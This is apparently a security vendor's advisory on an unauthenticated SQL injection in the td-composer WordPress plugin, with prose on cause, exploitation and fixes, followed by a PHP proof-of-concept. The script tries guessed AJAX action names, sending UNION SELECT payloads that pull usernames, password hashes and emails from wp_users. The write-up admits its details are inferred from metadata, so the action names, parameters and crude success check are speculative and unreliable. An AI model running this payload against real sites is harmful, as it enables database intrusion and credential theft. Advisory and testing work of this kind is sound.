Atomic Edge analysis of CVE-2025-50001 (metadata-based):
This vulnerability affects the td-composer WordPress plugin. The vulnerability description indicates an authentication bypass issue that allows unauthenticated attackers to execute arbitrary SQL queries via the plugin’s AJAX endpoints. This represents a critical security flaw enabling complete database compromise.
Atomic Edge research infers the root cause from the vulnerability description. The plugin likely registers AJAX handlers accessible to unauthenticated users (using wp_ajax_nopriv_ hooks). These handlers directly incorporate user-supplied parameters into SQL statements without proper sanitization or prepared statements. The CWE classification would typically point to CWE-89 (SQL Injection), though this is inferred from the description rather than confirmed via code review.
Exploitation involves sending crafted HTTP POST requests to the WordPress AJAX handler endpoint. Attackers target /wp-admin/admin-ajax.php with the action parameter set to a vulnerable td-composer AJAX hook. The payload includes SQL injection syntax in plugin-specific parameters. A typical attack would append UNION SELECT statements to extract database information or use stacked queries for data manipulation. The absence of nonce verification and capability checks enables unauthenticated access.
Remediation requires implementing proper input validation and parameterized queries. The plugin should replace direct string concatenation in SQL statements with WordPress $wpdb->prepare() methods. Additionally, AJAX handlers must verify nonces and implement proper capability checks using current_user_can(). Authentication should be required for administrative database operations.
Successful exploitation grants attackers full database access. Attackers can read, modify, or delete any data in the WordPress database. This includes user credentials, sensitive content, and plugin-specific data. The vulnerability enables privilege escalation by modifying user roles and capabilities. Attackers can also potentially achieve remote code execution through database manipulation in certain WordPress configurations.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-50001 - td-composer WordPress Plugin Authentication Bypass SQL Injection
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
// Common td-composer AJAX action names based on plugin naming conventions
$possible_actions = [
'tdc_ajax',
'td_composer_ajax',
'tdc_save_data',
'tdc_get_data',
'tdc_ajax_handler',
'tdc_ajax_callback'
];
foreach ($possible_actions as $action) {
$post_data = [
'action' => $action,
// Common parameter names in page builder/composer plugins
'data' => "1' UNION SELECT user_login,user_pass,user_email FROM wp_users WHERE '1'='1",
'id' => "1' OR '1'='1",
'nonce' => '' // Often missing or bypassed in vulnerable implementations
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 200 && !empty($response)) {
echo "Potential vulnerability found with action: $actionn";
echo "Response: $responsenn";
// Check for SQL error messages or database data in response
if (strpos($response, 'SQL') !== false ||
strpos($response, 'syntax') !== false ||
strpos($response, 'admin') !== false) {
echo "Confirmed SQL injection via $actionn";
break;
}
}
curl_close($ch);
}
?>